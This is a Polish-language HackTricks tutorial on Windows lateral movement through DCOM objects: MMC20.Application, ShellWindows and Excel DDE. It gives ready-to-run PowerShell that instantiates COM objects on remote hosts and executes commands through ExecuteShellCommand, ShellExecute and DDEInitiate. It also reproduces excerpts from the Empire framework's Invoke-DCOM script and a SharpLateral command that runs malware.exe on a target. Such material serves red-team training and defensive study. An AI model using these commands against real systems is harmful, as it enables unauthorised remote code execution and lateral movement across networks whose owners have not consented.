9.5 KiB
DCOM Exec
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie z branży cyberbezpieczeństwa? Chcesz zobaczyć, jak Twoja firma jest reklamowana na HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud..
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
MMC20.Application
Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post z https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Rozproszony Model Obiektów Składowych (DCOM) prezentuje interesującą zdolność do interakcji opartych na sieci z obiektami. Microsoft udostępnia obszerną dokumentację zarówno dla DCOM, jak i dla Modelu Obiektów Składowych (COM), dostępną tutaj dla DCOM i tutaj dla COM. Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:
Get-CimInstance Win32_DCOMApplication
Obiekt COM, Klasa aplikacji MMC (MMC20.Application), umożliwia skryptowanie operacji wtyczki MMC. Warto zauważyć, że ten obiekt zawiera metodę ExecuteShellCommand
w Document.ActiveView
. Więcej informacji na temat tej metody można znaleźć tutaj. Sprawdź działanie wykonując:
Ta funkcja ułatwia wykonywanie poleceń przez sieć za pośrednictwem aplikacji DCOM. Aby zdalnie korzystać z DCOM jako administrator, można użyć PowerShell w następujący sposób:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
To polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana, aby uruchomić proces na zdalnym hoście. Proces obejmuje następujące kroki:
Sprawdź metody:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Zdobądź zdalne wykonanie kodu (RCE):
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Obiekt MMC20.Application został zidentyfikowany jako brakujący "LaunchPermissions", domyślnie przyznający dostęp Administratorom. Aby uzyskać więcej szczegółów, można prześledzić wątek tutaj, a zaleca się korzystanie z narzędzia @tiraniddo OleView .NET do filtrowania obiektów bez wyraźnego uprawnienia uruchamiania.
Dwa konkretne obiekty, ShellBrowserWindow
i ShellWindows
, zostały wyróżnione ze względu na brak wyraźnych uprawnień uruchamiania. Brak wpisu rejestru LaunchPermission
pod HKCR:\AppID\{guid}
oznacza brak wyraźnych uprawnień.
ShellWindows
Dla ShellWindows
, który nie ma ProgID, metody .NET Type.GetTypeFromCLSID
i Activator.CreateInstance
ułatwiają instancjonowanie obiektu za pomocą jego AppID. Ten proces wykorzystuje OleView .NET do pobrania CLSID dla ShellWindows
. Po zainstancjonowaniu, interakcja jest możliwa za pomocą metody WindowsShell.Item
, co prowadzi do wywołania metody takiej jak Document.Application.ShellExecute
.
Przykładowe polecenia PowerShell zostały dostarczone do instancjonowania obiektu i zdalnego wykonywania poleceń:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Ruch boczny za pomocą obiektów DCOM Excel
Ruch boczny można osiągnąć, wykorzystując obiekty DCOM Excel. Aby uzyskać szczegółowe informacje, zaleca się przeczytanie dyskusji na temat wykorzystania Excel DDE do ruchu bocznego za pomocą DCOM na blogu Cybereason.
Projekt Empire udostępnia skrypt PowerShell, który demonstruje wykorzystanie Excela do zdalnego wykonania kodu (RCE) poprzez manipulowanie obiektami DCOM. Poniżej znajdują się fragmenty skryptu dostępnego w repozytorium GitHub Empire, prezentujące różne metody nadużywania Excela do RCE:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Narzędzia automatyzujące ruch boczny
Do automatyzacji tych technik wyróżniono dwa narzędzia:
-
Invoke-DCOM.ps1: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod wykonania kodu na zdalnych maszynach. Skrypt ten jest dostępny w repozytorium GitHub projektu Empire.
-
SharpLateral: Narzędzie przeznaczone do zdalnego wykonywania kodu, które można użyć za pomocą polecenia:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Narzędzia automatyczne
- Skrypt Powershell Invoke-DCOM.ps1 umożliwia łatwe wywołanie wszystkich zakomentowanych sposobów wykonania kodu na innych maszynach.
- Możesz również użyć SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Odnośniki
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.